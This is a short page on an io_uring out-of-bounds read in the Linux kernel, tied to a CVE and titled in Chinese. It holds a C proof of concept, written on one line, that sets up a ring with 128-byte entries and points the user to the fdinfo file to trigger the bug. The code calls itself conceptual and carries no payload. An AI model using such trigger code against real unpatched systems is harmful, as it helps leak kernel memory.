CVE-2026-31484 Linux Kernel io_uring越界读取漏洞

#include <linux/io_uring.h> #include <liburing.h> #include <stdio.h> #include <unistd.h> // Conceptual PoC to demonstrate the vulnerable setup // CVE-2026-31484 int main() { struct io_uring_params p = {0}; // Setup io_uring with mixed SQE sizes (128-byte) // to trigger the vulnerable code path in fdinfo p.flags = IORING_SETUP_SQE_M128; struct io_uring ring; // Initialize io_uring ring int ret = io_uring_queue_init_params(32, &ring, &p); if (ret < 0) { perror("io_uring_queue_init_params"); return 1; } // Submit SQEs to populate the ring in a specific manner // that leads to the wrap check failure. struct io_uring_sqe *sqe; sqe = io_uring_get_sqe(&ring); if (!sqe) { fprintf(stderr, "Failed to get SQE\n"); return 1; } // Prepare a 128-byte SQE (NOP for demonstration) io_uring_prep_nop(sqe); // Submit the request io_uring_submit(&ring); printf("Ring FD: %d\n", ring.ring_fd); // Trigger the vulnerability by reading fdinfo // In a real exploit, this would cause the OOB read printf("Execute: cat /proc/self/fdinfo/%d\n", ring.ring_fd); pause(); // Keep alive to allow inspection io_uring_queue_exit(&ring); return 0; }